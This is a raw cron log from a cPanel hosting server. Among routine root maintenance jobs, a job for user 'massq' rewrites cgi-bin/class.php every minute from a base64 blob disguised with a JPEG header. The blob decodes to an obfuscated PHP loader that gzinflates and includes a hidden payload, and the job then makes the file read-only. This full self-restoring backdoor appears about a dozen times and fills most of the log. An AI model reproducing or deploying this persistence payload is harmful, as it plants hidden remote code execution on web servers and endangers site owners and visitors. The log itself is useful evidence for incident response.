Sep  9 23:02:01 server CROND[15488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:02:01 server CROND[15489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:02:01 server CROND[15490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:03:01 server CROND[15881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:03:01 server CROND[15882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:03:01 server CROND[15883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:04:01 server CROND[16264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:04:01 server CROND[16266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:04:01 server CROND[16265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:05:01 server CROND[16707]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 23:05:01 server CROND[16708]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:05:01 server CROND[16710]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:05:01 server CROND[16713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:05:01 server CROND[16711]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 23:05:01 server CROND[16714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:05:01 server CROND[16717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:05:01 server CROND[16712]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:05:01 server CROND[16715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:06:01 server CROND[17645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:06:01 server CROND[17647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:06:01 server CROND[17646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:07:01 server CROND[18025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:07:01 server CROND[18026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:07:01 server CROND[18027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:08:01 server CROND[18393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:08:01 server CROND[18394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:08:01 server CROND[18395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:09:01 server CROND[18774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:09:01 server CROND[18775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:09:01 server CROND[18776]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 23:09:01 server CROND[18777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:10:01 server CROND[19161]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:10:01 server CROND[19162]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:10:01 server CROND[19163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:10:01 server CROND[19167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:10:01 server CROND[19166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:10:01 server CROND[19170]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:10:01 server CROND[19172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:10:01 server CROND[19169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:11:01 server CROND[19971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:11:01 server CROND[19972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:11:01 server CROND[19973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:12:01 server CROND[20431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:12:01 server CROND[20432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:12:01 server CROND[20433]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 23:12:01 server CROND[20434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:13:01 server CROND[20782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:13:01 server CROND[20783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:13:01 server CROND[20784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:14:01 server CROND[21158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:14:01 server CROND[21159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
